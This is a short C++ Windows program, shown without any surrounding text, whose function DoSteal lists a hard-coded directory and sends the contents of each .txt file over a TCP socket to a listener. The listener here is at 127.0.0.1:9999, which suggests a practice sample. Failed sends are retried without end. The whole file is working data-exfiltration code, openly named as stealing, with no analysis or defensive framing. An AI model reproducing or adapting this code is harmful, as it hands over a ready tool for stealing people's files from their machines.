#include<iostream> #include<Windows.h> #pragma comment(lib,"ws2_32.lib") using namespace std; bool initsocket() { WORD wVersionRequested; WSADATA wsadata; int err; wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsadata); if (err) { printf("WSAStartup errnum: %d\n", GetLastError()); return false; }
if (LOBYTE(wsadata.wVersion) != 2 || HIBYTE(wsadata.wVersion) != 2) { printf("LOBYTE errnum: %d\n", GetLastError()); WSACleanup(); return false; } return true; }
bool sendToServer(const char* path) { if (!initsocket()) return false;
FILE* fp = fopen(path, "rb"); if (fp == NULL) return false; char sendBuf[1024] = { 0 }; int len = fread(sendBuf, 1, 1024, fp); fclose(fp);
SOCKET sockCli; sockCli = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); addrSrv.sin_family = AF_INET; addrSrv.sin_port = htons(9999);
if (SOCKET_ERROR == connect(sockCli, (sockaddr*)&addrSrv, sizeof(sockaddr))) { printf("%d", GetLastError()); return false; }
int iLen = send(sockCli, sendBuf, 1024, 0); closesocket(sockCli); WSACleanup(); return true; } int DoSteal(const char* szPath) { WIN32_FIND_DATA file_for_find; HANDLE hListFile;
char szFilePath[MAX_PATH] = { 0 }; strcpy(szFilePath, szPath); strcat(szFilePath, "\\*"); hListFile = FindFirstFile(szFilePath, &file_for_find); do { char mypath[MAX_PATH] = { 0 }; strcpy(mypath, szPath); strcat(mypath, file_for_find.cFileName); if(strstr(mypath,".txt")) while (sendToServer(mypath)==false); } while (FindNextFile(hListFile, &file_for_find));
return 0; } int main() { DoSteal("D:\\文件合集\\txt合集\\"); return 0; }
|